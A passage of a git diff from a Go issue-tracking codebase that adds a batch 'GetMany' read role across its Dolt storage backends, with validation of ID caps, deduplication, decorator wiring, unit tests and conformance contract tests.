{OpListEvents, httpapi.OpListEvents}, {OpWatchEvents, httpapi.OpWatchEvents}, + {OpBatchGetIssues, httpapi.OpBatchGetIssues}, } // The table is a HAND LIST, and a hand list's failure mode is omission: a new diff --git a/internal/storage/BUILD.bazel b/internal/storage/BUILD.bazel index d9d737885..fb8f51af9 100644 --- a/internal/storage/BUILD.bazel +++ b/internal/storage/BUILD.bazel @@ -23,6 +23,7 @@ go_library( "hook_batch_applier.go", "hook_batch_closer.go", "hook_batch_creator.go", + "hook_batch_getter.go", "hook_blockingannotator.go", "hook_bootstrapper.go", "hook_commenter.go", diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 45ab3f37f..d420dc716 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -8,6 +8,7 @@ go_library( "batch_applier.go", "batch_closer.go", "batch_creator.go", + "batchgetter.go", "blocked_recheck_raw.go", "blockingannotator.go", "bootstrap.go", @@ -136,6 +137,7 @@ go_test( "batch_apply_contract_test.go", "batch_closer_contract_test.go", "batch_creator_contract_test.go", + "batch_getter_contract_test.go", "blocked_consistency_test.go", "blocked_full_repair_test.go", "blocked_merge_test.go", diff --git a/internal/storage/dolt/batch_getter_contract_test.go b/internal/storage/dolt/batch_getter_contract_test.go new file mode 100644 index 000000000..9fc0ff654 --- /dev/null +++ b/internal/storage/dolt/batch_getter_contract_test.go @@ -0,0 +1,91 @@ +package dolt + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// TestBatchGetterContract runs the BatchGetter contract against the +// server-backed store. +// +// It reaches the same tx-level body every other leg reaches +// (issueops.ExecuteGetMany), so this wiring is an ENGINE check and a wrapper +// check rather than an independent vote on the body — the contract file says +// so at the top and the cases are written for it. +// +// The cases are subtests of one parent so the whole role suite shares one store +// and one copy-on-write branch. setupTestStore already marks the PARENT +// parallel and no subtest here calls t.Parallel. +func TestBatchGetterContract(t *testing.T) { + fixture, ctx, cleanup := newDoltBatchGetterFixture(t, "bge") + defer cleanup() + + t.Run("FindsRequestedIssues", func(t *testing.T) { + conformance.RunBatchGetterFindsRequestedIssues(t, ctx, fixture) + }) + t.Run("ReportsMissingIDs", func(t *testing.T) { + conformance.RunBatchGetterReportsMissingIDs(t, ctx, fixture) + }) + t.Run("CollapsesRepeatedIDs", func(t *testing.T) { + conformance.RunBatchGetterCollapsesRepeatedIDs(t, ctx, fixture) + }) + t.Run("AnswersInRequestOrder", func(t *testing.T) { + conformance.RunBatchGetterAnswersInRequestOrder(t, ctx, fixture) + }) + t.Run("ResolvesIDsExactly", func(t *testing.T) { + conformance.RunBatchGetterResolvesIDsExactly(t, ctx, fixture) + }) + t.Run("AnswersAnEmptyRequest", func(t *testing.T) { + conformance.RunBatchGetterAnswersAnEmptyRequest(t, ctx, fixture) + }) + t.Run("RefusesAnUnusableRequest", func(t *testing.T) { + conformance.RunBatchGetterRefusesAnUnusableRequest(t, ctx, fixture) + }) + t.Run("RefusesOverTheCap", func(t *testing.T) { + conformance.RunBatchGetterRefusesOverTheCap(t, ctx, fixture) + }) + t.Run("AcceptsExactlyTheCap", func(t *testing.T) { + conformance.RunBatchGetterAcceptsExactlyTheCap(t, ctx, fixture) + }) + t.Run("LeavesTheRequestAlone", func(t *testing.T) { + conformance.RunBatchGetterLeavesTheRequestAlone(t, ctx, fixture) + }) + t.Run("SharesOneReadStructurally", func(t *testing.T) { + conformance.RunBatchGetterSharesOneReadStructurally(t, ctx, fixture) + }) + t.Run("HydratesLabels", func(t *testing.T) { + conformance.RunBatchGetterHydratesLabels(t, ctx, fixture) + }) + t.Run("CrossesBothPlanes", func(t *testing.T) { + conformance.RunBatchGetterCrossesBothPlanes(t, ctx, fixture) + }) + t.Run("WritesNothing", func(t *testing.T) { + conformance.RunBatchGetterWritesNothing(t, ctx, fixture) + }) +} + +func newDoltBatchGetterFixture(t *testing.T, prefix string) (conformance.BatchGetterFixture, context.Context, func()) { + t.Helper() + store, storeCleanup := setupTestStore(t) + ctx, cancel := testContext(t) + getter, err := store.BatchGetter() + if err != nil { + cancel() + storeCleanup() + t.Fatalf("BatchGetter(): %v", err) + } + kit := newDoltRoleFixtureKit(store, prefix) + fixture := conformance.BatchGetterFixture{ + IssuePrefix: kit.IssuePrefix, + BatchGetter: getter, + CreateIssue: kit.CreateIssue, + CreateWisp: kit.CreateWisp, + CountHistory: kit.CountHistory, + } + return fixture, ctx, func() { + cancel() + storeCleanup() + } +} diff --git a/internal/storage/dolt/batchgetter.go b/internal/storage/dolt/batchgetter.go new file mode 100644 index 000000000..e350a5696 --- /dev/null +++ b/internal/storage/dolt/batchgetter.go @@ -0,0 +1,45 @@ +package dolt + +import ( + "context" + "database/sql" + + "github.com/steveyegge/beads/internal/storage" + storeops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/issueops" +) + +// BatchGetter returns the guarded batch-read surface for this store. +func (s *DoltStore) BatchGetter() (issueops.BatchGetter, error) { + if s == nil { + return nil, &storage.ErrUnsupported{Op: "BatchGetter", Backend: "nil"} + } + return &batchGetter{store: s}, nil +} + +// batchGetter answers a GetMany from one read transaction. +// +// There is no shared constructor package for this role: the work is an +// existence probe and a hydration that must see ONE snapshot, and a +// transaction is not reachable through storage.DoltStorage. The sharing +// happens one level down at issueops.ExecuteGetMany, which the embedded store +// and the unit-of-work provider both reach as well — so what this leg checks +// is the WRAPPER, and the conformance contract says so at the top. +type batchGetter struct{ store *DoltStore } + +var _ issueops.BatchGetter = (*batchGetter)(nil) + +// GetMany runs the lookup in ONE read transaction, so an id cannot be reported +// missing by a probe that raced a create a second query then found. +func (g *batchGetter) GetMany(ctx context.Context, request issueops.GetManyRequest) (issueops.GetManyResult, error) { + var result issueops.GetManyResult + err := g.store.withReadTx(ctx, func(tx *sql.Tx) error { + var err error + result, err = storeops.ExecuteGetMany(ctx, tx, request) + return err + }) + if err != nil { + return issueops.GetManyResult{}, err + } + return result, nil +} diff --git a/internal/storage/domain/db/issue.go b/internal/storage/domain/db/issue.go index 276a740f8..a9d2e3c7a 100644 --- a/internal/storage/domain/db/issue.go +++ b/internal/storage/domain/db/issue.go @@ -614,6 +614,14 @@ func (r *issueSQLRepositoryImpl) GetByIDs(ctx context.Context, ids []string, opt return out, nil } +// GetMany runs the SHARED batch-read body on r.runner, which publishes +// exactly the DBTX method set issueops.ExecuteGetMany takes. There is no +// table option here, the way CompareAndSetMetadataKey has none: the shared +// body routes both planes itself through GetIssuesByIDsInTx. +func (r *issueSQLRepositoryImpl) GetMany(ctx context.Context, request publicops.GetManyRequest) (publicops.GetManyResult, error) { + return issueops.ExecuteGetMany(ctx, r.runner, request) +} + func (r *issueSQLRepositoryImpl) Exists(ctx context.Context, id string, opts domain.IssueTableOpts) (bool, error) { if id == "" { return false, errors.New("db: Exists: id must not be empty") diff --git a/internal/storage/domain/issue.go b/internal/storage/domain/issue.go index 1c7df0508..a6ce46a83 100644 --- a/internal/storage/domain/issue.go +++ b/internal/storage/domain/issue.go @@ -66,6 +66,12 @@ type IssueSQLRepository interface { Get(ctx context.Context, id string, opts IssueTableOpts) (*types.Issue, error) AsOf(ctx context.Context, id, ref string) (*types.Issue, error) GetByIDs(ctx context.Context, ids []string, opts IssueTableOpts) ([]*types.Issue, error) + // GetMany runs the SHARED batch-read body (issueops.ExecuteGetMany) on this + // repository's transaction, which is how the unit-of-work provider reaches + // the same function the two store backends wrap. It takes no table option: + // the body routes both planes itself, the way CompareAndSetMetadataKey's + // does. + GetMany(ctx context.Context, request publicops.GetManyRequest) (publicops.GetManyResult, error) Exists(ctx context.Context, id string, opts IssueTableOpts) (bool, error) CountForPrefix(ctx context.Context, prefix string, opts IssueTableOpts) (int, error) NextCounterID(ctx context.Context, prefix string) (int, error) @@ -311,6 +317,9 @@ type UpdateSpec struct { type IssueUseCase interface { GetIssue(ctx context.Context, id string) (*types.Issue, error) GetIssuesByIDs(ctx context.Context, ids []string) ([]*types.Issue, error) + // GetMany is the shape issueops.BatchGetter publishes; see + // IssueSQLRepository.GetMany for why it takes no table option. + GetMany(ctx context.Context, request publicops.GetManyRequest) (publicops.GetManyResult, error) FindWispDependentsRecursive(ctx context.Context, ids []string) (map[string]bool, error) SearchIssues(ctx context.Context, query string, filter types.IssueFilter) (SearchPage, error) SearchIssuesWithCounts(ctx context.Context, query string, filter types.IssueFilter) (SearchCountsPage, error) @@ -472,6 +481,14 @@ func (u *issueUseCaseImpl) GetIssuesByIDs(ctx context.Context, ids []string) ([] return u.getByIDs(ctx, ids, false) } +// GetMany passes straight through to the repository with no pre-check and no +// error wrapping, CountEdges's reason: the request's whole vocabulary is +// validated inside the shared body (issueops.ExecuteGetMany), and there is no +// second implementation for a wrapper here to protect. +func (u *issueUseCaseImpl) GetMany(ctx context.Context, request publicops.GetManyRequest) (publicops.GetManyResult, error) { + return u.issueRepo.GetMany(ctx, request) +} + func (u *issueUseCaseImpl) FindWispDependentsRecursive(ctx context.Context, ids []string) (map[string]bool, error) { return u.issueRepo.FindWispDependentsRecursive(ctx, ids) } diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index 8f563a3cb..c07059454 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -7,6 +7,7 @@ go_library( "batch_applier.go", "batch_closer.go", "batch_creator.go", + "batchgetter.go", "blockingannotator.go", "bootstrapper.go", "cache.go", @@ -100,6 +101,7 @@ go_test( "batch_apply_contract_test.go", "batch_closer_contract_test.go", "batch_creator_contract_test.go", + "batch_getter_contract_test.go", "blocked_recheck_internal_test.go", "blocked_recompute_test.go", "blocking_annotator_contract_test.go", diff --git a/internal/storage/embeddeddolt/batch_getter_contract_test.go b/internal/storage/embeddeddolt/batch_getter_contract_test.go new file mode 100644 index 000000000..2da37613d --- /dev/null +++ b/internal/storage/embeddeddolt/batch_getter_contract_test.go @@ -0,0 +1,82 @@ +//go:build cgo + +package embeddeddolt_test + +import ( + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// TestBatchGetterContract runs the BatchGetter contract against the embedded +// store. It reaches the same tx-level body the server-backed store reaches +// (issueops.ExecuteGetMany) and differs only in the engine underneath; that is +// what this wiring catches, and it is NOT an independent vote on the body. +// +// One environment for the whole suite. Every case seeds ids under its own +// prefix and asserts only about those, so the subtests are order-independent. +func TestBatchGetterContract(t *testing.T) { + skipUnlessEmbeddedDolt(t) + te := newTestEnv(t, "bge") + ctx := t.Context() + fixture := newEmbeddedBatchGetterFixture(t, te, "bge") + + t.Run("FindsRequestedIssues", func(t *testing.T) { + conformance.RunBatchGetterFindsRequestedIssues(t, ctx, fixture) + }) + t.Run("ReportsMissingIDs", func(t *testing.T) { + conformance.RunBatchGetterReportsMissingIDs(t, ctx, fixture) + }) + t.Run("CollapsesRepeatedIDs", func(t *testing.T) { + conformance.RunBatchGetterCollapsesRepeatedIDs(t, ctx, fixture) + }) + t.Run("AnswersInRequestOrder", func(t *testing.T) { + conformance.RunBatchGetterAnswersInRequestOrder(t, ctx, fixture) + }) + t.Run("ResolvesIDsExactly", func(t *testing.T) { + conformance.RunBatchGetterResolvesIDsExactly(t, ctx, fixture) + }) + t.Run("AnswersAnEmptyRequest", func(t *testing.T) { + conformance.RunBatchGetterAnswersAnEmptyRequest(t, ctx, fixture) + }) + t.Run("RefusesAnUnusableRequest", func(t *testing.T) { + conformance.RunBatchGetterRefusesAnUnusableRequest(t, ctx, fixture) + }) + t.Run("RefusesOverTheCap", func(t *testing.T) { + conformance.RunBatchGetterRefusesOverTheCap(t, ctx, fixture) + }) + t.Run("AcceptsExactlyTheCap", func(t *testing.T) { + conformance.RunBatchGetterAcceptsExactlyTheCap(t, ctx, fixture) + }) + t.Run("LeavesTheRequestAlone", func(t *testing.T) { + conformance.RunBatchGetterLeavesTheRequestAlone(t, ctx, fixture) + }) + t.Run("SharesOneReadStructurally", func(t *testing.T) { + conformance.RunBatchGetterSharesOneReadStructurally(t, ctx, fixture) + }) + t.Run("HydratesLabels", func(t *testing.T) { + conformance.RunBatchGetterHydratesLabels(t, ctx, fixture) + }) + t.Run("CrossesBothPlanes", func(t *testing.T) { + conformance.RunBatchGetterCrossesBothPlanes(t, ctx, fixture) + }) + t.Run("WritesNothing", func(t *testing.T) { + conformance.RunBatchGetterWritesNothing(t, ctx, fixture) + }) +} + +func newEmbeddedBatchGetterFixture(t *testing.T, te *testEnv, prefix string) conformance.BatchGetterFixture { + t.Helper() + getter, err := te.store.BatchGetter() + if err != nil { + t.Fatalf("BatchGetter(): %v", err) + } + kit := newEmbeddedRoleFixtureKit(te, prefix) + return conformance.BatchGetterFixture{ + IssuePrefix: kit.IssuePrefix, + BatchGetter: getter, + CreateIssue: kit.CreateIssue, + CreateWisp: kit.CreateWisp, + CountHistory: kit.CountHistory, + } +} diff --git a/internal/storage/embeddeddolt/batchgetter.go b/internal/storage/embeddeddolt/batchgetter.go new file mode 100644 index 000000000..1d68fb991 --- /dev/null +++ b/internal/storage/embeddeddolt/batchgetter.go @@ -0,0 +1,44 @@ +//go:build cgo + +package embeddeddolt + +import ( + "context" + "database/sql" + + "github.com/steveyegge/beads/internal/storage" + storeops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/issueops" +) + +// BatchGetter returns the guarded batch-read surface for this store. +func (s *EmbeddedDoltStore) BatchGetter() (issueops.BatchGetter, error) { + if s == nil { + return nil, &storage.ErrUnsupported{Op: "BatchGetter", Backend: "nil"} + } + return &batchGetter{store: s}, nil +} + +// batchGetter answers a GetMany from one connection's transaction. +// +// It is a sibling of the server-backed store's body rather than a shared +// package for the reason that one gives: the probe and the hydration need a +// TRANSACTION, which storage.DoltStorage does not publish, so the sharing +// happens below both of them at issueops.ExecuteGetMany. The two stores differ +// here only in how they reach a transaction. +type batchGetter struct{ store *EmbeddedDoltStore } + +var _ issueops.BatchGetter = (*batchGetter)(nil) + +func (g *batchGetter) GetMany(ctx context.Context, request issueops.GetManyRequest) (issueops.GetManyResult, error) { + var result issueops.GetManyResult + err := g.store.withConn(ctx, false, func(tx *sql.Tx) error { + var err error + result, err = storeops.ExecuteGetMany(ctx, tx, request) + return err + }) + if err != nil { + return issueops.GetManyResult{}, err + } + return result, nil +} diff --git a/internal/storage/externaldeps/uow_decorator.go b/internal/storage/externaldeps/uow_decorator.go index 9db47cd44..0b9e9293b 100644 --- a/internal/storage/externaldeps/uow_decorator.go +++ b/internal/storage/externaldeps/uow_decorator.go @@ -69,7 +69,9 @@ func (p *uowProvider) EdgeReader() (publicops.EdgeReader, error) { return uow func (p *uowProvider) BlockingAnnotator() (publicops.BlockingAnnotator, error) { return uow.NewBlockingAnnotator(p) } -func (p *uowProvider) TreeWalker() (publicops.TreeWalker, error) { return uow.NewTreeWalker(p) } +func (p *uowProvider) TreeWalker() (publicops.TreeWalker, error) { return uow.NewTreeWalker(p) } +func (p *uowProvider) BatchGetter() (publicops.BatchGetter, error) { return uow.NewBatchGetter(p) } + func (p *uowProvider) GraphCounter() (publicops.GraphCounter, error) { return uow.NewGraphCounter(p) } @@ -172,6 +174,7 @@ var ( _ uow.BlockingAnnotatorSource = (*uowProvider)(nil) _ uow.TreeWalkerSource = (*uowProvider)(nil) _ uow.GraphCounterSource = (*uowProvider)(nil) + _ uow.BatchGetterSource = (*uowProvider)(nil) _ uow.CounterSource = (*uowProvider)(nil) _ uow.ReadyCounterSource = (*uowProvider)(nil) _ uow.ReadyClaimerSource = (*uowProvider)(nil) diff --git a/internal/storage/hook_batch_getter.go b/internal/storage/hook_batch_getter.go new file mode 100644 index 000000000..e88239f1c --- /dev/null +++ b/internal/storage/hook_batch_getter.go @@ -0,0 +1,17 @@ +package storage + +import ( + "github.com/steveyegge/beads/issueops" +) + +// BatchGetter returns the inner store's batch-read surface. +// +// It recurses, like every other accessor on this decorator, rather than being +// absent: the accessor set is uniform across the chain, so a caller never has +// to know which decorators a store is wearing. What it does NOT do is wrap the +// result — reading issues by id fires no completion hooks, because nothing +// completed. That is the same statement hook_graph_counter.go makes, and it is +// why this file is three lines. +func (h *HookFiringStore) BatchGetter() (issueops.BatchGetter, error) { + return h.inner.BatchGetter() +} diff --git a/internal/storage/issueops/BUILD.bazel b/internal/storage/issueops/BUILD.bazel index d774d7aff..71512f91a 100644 --- a/internal/storage/issueops/BUILD.bazel +++ b/internal/storage/issueops/BUILD.bazel @@ -6,6 +6,7 @@ go_library( "aggregate.go", "as_of.go", "batch_apply.go", + "batchget.go", "batching.go", "blocked.go", "blocked_consistency.go", @@ -128,6 +129,7 @@ go_test( "aggregate_authorize_transfer_test.go", "as_of_test.go", "batch_apply_test.go", + "batchget_test.go", "batching_test.go", "blocked_consistency_test.go", "blocked_recheck_test.go", diff --git a/internal/storage/issueops/batchget.go b/internal/storage/issueops/batchget.go new file mode 100644 index 000000000..f3686dd35 --- /dev/null +++ b/internal/storage/issueops/batchget.go @@ -0,0 +1,107 @@ +package issueops + +import ( + "context" + "fmt" + + "github.com/steveyegge/beads/internal/storage" + publicops "github.com/steveyegge/beads/issueops" +) + +// ValidateGetManyRequest applies the request rules every BatchGetter +// implementation shares. +// +// THE CAP IS CHECKED FIRST, against the request AS SENT, before +// deduplication: the obligation it bounds is reading the request apart (and, +// below the role, holding one snapshot open long enough to resolve it), not +// reading the rows the ids resolve to, so a caller cannot dodge it by +// repeating one id 1,500 times. The per-entry blank check that follows tells a +// caller's mistake from a legitimately empty request, exactly as +// ValidateEdgeCountRequest's does for EdgeCountRequest.IDs. +func ValidateGetManyRequest(request publicops.GetManyRequest) error { + if len(request.IDs) > publicops.MaxGetManyIDs { + return &publicops.TooManyIDsError{Requested: len(request.IDs), Cap: publicops.MaxGetManyIDs} + } + for i, id := range request.IDs { + if id == "" { + return fmt.Errorf("%w: get many id at position %d is empty", storage.ErrValidation, i) + } + } + return nil +} + +// DedupeGetManyIDs collapses duplicates, keeping the caller's FIRST mention of +// each id. Unlike NormalizeDeleteIDs's sibling, it does NOT trim whitespace: +// GetManyRequest.IDs are exact ids, and a caller that padded one with +// whitespace gets that id back in Missing rather than a silently corrected +// lookup, the same exactness RunGraphCounterResolvesIDsExactly pins for +// EdgeCountRequest.IDs. +func DedupeGetManyIDs(ids []string) []string { + seen := make(map[string]struct{}, len(ids)) + out := make([]string, 0, len(ids)) + for _, id := range ids { + if _, ok := seen[id]; ok { + continue + } + seen[id] = struct{}{} + out = append(out, id) + } + return out +} + +// FinishGetMany assembles the ordered answer from the ids a caller asked for +// (already deduplicated) and the issues a read actually found, keyed by id. +// +// It is a pure function beside the body for ExecuteEdgeCount's reason: the +// part that decides what the answer MEANS — an id not in found is Missing, and +// Issues/Missing both preserve the caller's order — is pinned without a +// database, and the conformance contract is left to assert what only a real +// backend can show. +func FinishGetMany(ids []string, found map[string]*publicops.Issue) publicops.GetManyResult { + result := publicops.GetManyResult{ + Issues: make([]*publicops.Issue, 0, len(ids)), + Missing: make([]string, 0), + } + for _, id := range ids { + if issue, ok := found[id]; ok { + result.Issues = append(result.Issues, issue) + continue + } + result.Missing = append(result.Missing, id) + } + return result +} + +// ExecuteGetMany returns the issues named by request.IDs from tx, in ONE +// snapshot. It is the body behind the BatchGetter accessor on ALL THREE legs: +// the two stores wrap it in their own read transaction, and the unit-of-work +// provider reaches it through the domain repository, whose runner publishes +// exactly the DBTX method set GetIssuesByIDsInTx takes. +// +// VALIDATION HAPPENS HERE, for ExecuteEdgeCount's reason: this body is the +// only body, so a leg that forgot to validate would be answering a different +// contract, and there is no second implementation for the check to belong to. +// It runs before the transaction's one query, so a request over MaxGetManyIDs +// never reaches storage. +// +// HYDRATION IS LABELS ONLY, because that is all GetIssuesByIDsInTx fills: no +// dependencies, dependents or comments. A caller that needs those reads +// Reader.Get instead, one id at a time. +func ExecuteGetMany(ctx context.Context, tx DBTX, request publicops.GetManyRequest) (publicops.GetManyResult, error) { + if err := ValidateGetManyRequest(request); err != nil { + return publicops.GetManyResult{}, err + } + ids := DedupeGetManyIDs(request.IDs) + if len(ids) == 0 { + return publicops.GetManyResult{Issues: []*publicops.Issue{}, Missing: []string{}}, nil + } + issues, err := GetIssuesByIDsInTx(ctx, tx, ids, nil) + if err != nil { + return publicops.GetManyResult{}, fmt.Errorf("get many: %w", err) + } + found := make(map[string]*publicops.Issue, len(issues)) + for _, issue := range issues { + found[issue.ID] = issue + } + return FinishGetMany(ids, found), nil +} diff --git a/internal/storage/issueops/batchget_test.go b/internal/storage/issueops/batchget_test.go new file mode 100644 index 000000000..70ceb16cf --- /dev/null +++ b/internal/storage/issueops/batchget_test.go @@ -0,0 +1,136 @@ +package issueops + +import ( + "context" + "errors" + "slices" + "testing" + + "github.com/DATA-DOG/go-sqlmock" + + "github.com/steveyegge/beads/internal/storage" + publicops "github.com/steveyegge/beads/issueops" +) + +// These are the parts of issueops.BatchGetter's answer that are decided +// without a database — the request rules, the first-mention collapse and the +// ordered split into Issues and Missing — so they are pinned here in +// milliseconds and the conformance contract is left to assert what only a real +// backend can show. + +func TestValidateGetManyRequestChecksTheCapBeforeTheBlankScan(t *testing.T) { + // A request over the cap that ALSO carries a blank id has to report the + // cap: a caller told only about the blank would fix it and get a second, + // different refusal back for the same request. The blank sits at position + // 0, so a scan that ran first could not miss it. + ids := slices.Repeat([]string{"bd-1"}, publicops.MaxGetManyIDs+1) + ids[0] = "" + + err := ValidateGetManyRequest(publicops.GetManyRequest{IDs: ids}) + var tooMany *publicops.TooManyIDsError + if !errors.As(err, &tooMany) { + t.Fatalf("an over-cap request with a blank id = %v, want *TooManyIDsError", err) + } + if tooMany.Requested != len(ids) || tooMany.Cap != publicops.MaxGetManyIDs { + t.Errorf("refusal = %+v, want Requested %d and Cap %d", *tooMany, len(ids), publicops.MaxGetManyIDs) + } + if !errors.Is(err, storage.ErrValidation) { + t.Errorf("the cap refusal %v does not match ErrValidation", err) + } +} + +func TestValidateGetManyRequestRefusals(t *testing.T) { + for _, test := range []struct { + name string + ids []string + want bool + }{ + {"no ids at all", nil, false}, + {"exactly the cap's worth of mentions", slices.Repeat([]string{"bd-1"}, publicops.MaxGetManyIDs), false}, + {"one mention past the cap", slices.Repeat([]string{"bd-1"}, publicops.MaxGetManyIDs+1), true}, + {"an empty id beside a real one", []string{"bd-1", ""}, true}, + } { + err := ValidateGetManyRequest(publicops.GetManyRequest{IDs: test.ids}) + if got := errors.Is(err, storage.ErrValidation); got != test.want { + t.Errorf("%s: ErrValidation = %t (err %v), want %t", test.name, got, err, test.want) + } + } +} + +func TestDedupeGetManyIDsKeepsTheFirstMentionAndLeavesTheRequestAlone(t *testing.T) { + // The repeat of bd-b follows a different id, so a collapse that sorted, or + // that kept each id's LAST mention, would answer bd-a before bd-b. The + // padded id is a different exact id, not a duplicate to trim away. + request := []string{"bd-b", "bd-a", "bd-b", " bd-a "} + sent := slices.Clone(request) + + got := DedupeGetManyIDs(request) + if want := []string{"bd-b", "bd-a", " bd-a "}; !slices.Equal(got, want) { + t.Errorf("DedupeGetManyIDs(%q) = %q, want %q", sent, got, want) + } + // GetManyRequest promises IDs is never written through, and collapsing in + // place is the idiomatic way to break that promise. + if !slices.Equal(request, sent) { + t.Errorf("DedupeGetManyIDs rewrote the caller's slice to %q, want %q", request, sent) + } +} + +func TestFinishGetManySplitsTheRequestInItsOwnOrder(t *testing.T) { + // The id list is the order, not the found map — whose iteration order Go + // randomizes on purpose — and neither half is sorted, so a sorting + // assembly would answer differently on both. + result := FinishGetMany( + []string{"c", "ghost-2", "a", "ghost-1"}, + map[string]*publicops.Issue{"a": {ID: "a"}, "c": {ID: "c"}}, + ) + + var issueIDs []string + for _, issue := range result.Issues { + issueIDs = append(issueIDs, issue.ID) + } + if want := []string{"c", "a"}; !slices.Equal(issueIDs, want) { + t.Errorf("Issues = %q, want %q (the request's order)", issueIDs, want) + } + if want := []string{"ghost-2", "ghost-1"}; !slices.Equal(result.Missing, want) { + t.Errorf("Missing = %q, want %q (the request's order)", result.Missing, want) + } +} + +func TestFinishGetManyAnswersNeverNil(t *testing.T) { + // An all-found request answers with an empty, non-nil Missing, and an empty + // request with two: a front door that marshals them emits [] rather than + // null. + allFound := FinishGetMany([]string{"a"}, map[string]*publicops.Issue{"a": {ID: "a"}}) + if allFound.Missing == nil || len(allFound.Missing) != 0 { + t.Errorf("Missing = %#v for an all-found request, want an empty, non-nil slice", allFound.Missing) + } + + empty := FinishGetMany(nil, nil) + if empty.Issues == nil || len(empty.Issues) != 0 { + t.Errorf("Issues = %#v for an empty request, want an empty, non-nil slice", empty.Issues) + } + if empty.Missing == nil || len(empty.Missing) != 0 { + t.Errorf("Missing = %#v for an empty request, want an empty, non-nil slice", empty.Missing) + } +} + +func TestExecuteGetManyRefusesOverTheCapBeforeTheQuery(t *testing.T) { + // A mock with no expectations fails any statement it is handed, so the + // refusal is proved to come from the body's own check rather than from + // storage. The request repeats ONE id past the cap, so a body that + // collapsed repeats before validating would have let it through to the + // query instead. + db, _, err := sqlmock.New() + if err != nil { + t.Fatalf("sqlmock.New: %v", err) + } + defer db.Close() + + _, err = ExecuteGetMany(context.Background(), db, publicops.GetManyRequest{ + IDs: slices.Repeat([]string{"bd-1"}, publicops.MaxGetManyIDs+1), + }) + var tooMany *publicops.TooManyIDsError + if !errors.As(err, &tooMany) { + t.Fatalf("one id repeated past the cap = %v, want *TooManyIDsError before any query", err) + } +} diff --git a/internal/storage/role_accessor_decorator_test.go b/internal/storage/role_accessor_decorator_test.go index 58027bb5b..aa8ce3b57 100644 --- a/internal/storage/role_accessor_decorator_test.go +++ b/internal/storage/role_accessor_decorator_test.go @@ -162,6 +162,7 @@ type roleAccessorStore struct { blocking issueops.BlockingAnnotator tree issueops.TreeWalker graphCounter issueops.GraphCounter + batchGetter issueops.BatchGetter counter issueops.Counter settings issueops.WorkspaceConfig memories memoryops.Memories @@ -195,6 +196,7 @@ func newRoleAccessorStore() *roleAccessorStore { edges: sentinel, blocking: sentinel, graphCounter: sentinel, + batchGetter: sentinel, counter: sentinel, settings: sentinel, versions: sentinel, @@ -272,6 +274,9 @@ func (s *roleAccessorStore) DependencyEditor() (issueops.DependencyEditor, error func (s *roleAccessorStore) GraphCounter() (issueops.GraphCounter, error) { return s.graphCounter, s.err } +func (s *roleAccessorStore) BatchGetter() (issueops.BatchGetter, error) { + return s.batchGetter, s.err +} func (s *roleAccessorStore) MetadataCAS() (issueops.MetadataCAS, error) { return s.metadataCAS, s.err } @@ -327,6 +332,9 @@ func (*roleAccessorSentinel) CountByGroup(context.Context, issueops.CountByGroup func (*roleAccessorSentinel) CountEdges(context.Context, issueops.EdgeCountRequest) (issueops.EdgeCountResult, error) { return issueops.EdgeCountResult{}, nil } +func (*roleAccessorSentinel) GetMany(context.Context, issueops.GetManyRequest) (issueops.GetManyResult, error) { + return issueops.GetManyResult{}, nil +} func (*roleAccessorSentinel) GetSetting(context.Context, issueops.GetSettingRequest) (issueops.SettingResult, error) { return issueops.SettingResult{}, nil } @@ -472,6 +480,7 @@ func TestHookFiringStoreWrapsTheWriteRolesAndPassesTheReadsThrough(t *testing.T) {"BlockingAnnotator", func() (any, error) { return store.BlockingAnnotator() }, inner.blocking, false}, {"TreeWalker", func() (any, error) { return store.TreeWalker() }, inner.tree, false}, {"GraphCounter", func() (any, error) { return store.GraphCounter() }, inner.graphCounter, false}, + {"BatchGetter", func() (any, error) { return store.BatchGetter() }, inner.batchGetter, false}, {"Counter", func() (any, error) { return store.Counter() }, inner.counter, false}, {"WorkspaceConfig", func() (any, error) { return store.WorkspaceConfig() }, inner.settings, false}, {"Memories", func() (any, error) { return store.Memories() }, inner.memories, false}, @@ -529,6 +538,7 @@ func TestHookFiringStoreRoleAccessorsPropagateInnerErrors(t *testing.T) { {"BlockingAnnotator", func() (any, error) { return store.BlockingAnnotator() }}, {"TreeWalker", func() (any, error) { return store.TreeWalker() }}, {"GraphCounter", func() (any, error) { return store.GraphCounter() }}, + {"BatchGetter", func() (any, error) { return store.BatchGetter() }}, {"Counter", func() (any, error) { return store.Counter() }}, {"WorkspaceConfig", func() (any, error) { return store.WorkspaceConfig() }}, {"Memories", func() (any, error) { return store.Memories() }}, diff --git a/internal/storage/storage.go b/internal/storage/storage.go index ab27581d8..8abe0b0fd 100644 --- a/internal/storage/storage.go +++ b/internal/storage/storage.go @@ -286,6 +286,12 @@ type Storage interface { // EdgeReader (that one answers with the stored ROWS, outbound only). Reads // fire no hooks, as for IssueReader. GraphCounter() (issueops.GraphCounter, error) + // BatchGetter returns the guarded batch-read surface for this store: many + // issues by id, hydrated, in ONE snapshot. Its own role rather than a mode + // of IssueReader because a miss here is a RESULT FIELD (Missing) and not + // ErrNotFound — a batch GET is a set read, not a precondition on every + // member succeeding. Reads fire no hooks, as for IssueReader. + BatchGetter() (issueops.BatchGetter, error) // ReadyCounter returns the guarded ready-count surface for this store: the // size of the ready set, which is the number `bd ready`'s pagination // publishes and which no other role answers. Counter's predicate is a diff --git a/internal/storage/uow/BUILD.bazel b/internal/storage/uow/BUILD.bazel index 2462bb32f..fe2f3f26c 100644 --- a/internal/storage/uow/BUILD.bazel +++ b/internal/storage/uow/BUILD.bazel @@ -7,6 +7,7 @@ go_library( "batch_applier.go", "batch_closer.go", "batch_creator.go", + "batchgetter.go", "blocked_recheck.go", "blockingannotator.go", "bootstrapper.go", @@ -94,6 +95,7 @@ go_test( "batch_apply_contract_test.go", "batch_closer_contract_test.go", "batch_creator_contract_test.go", + "batch_getter_contract_test.go", "blocked_recheck_race_test.go", "blocking_annotator_contract_test.go", "bootstrapper_contract_test.go", diff --git a/internal/storage/uow/batch_getter_contract_test.go 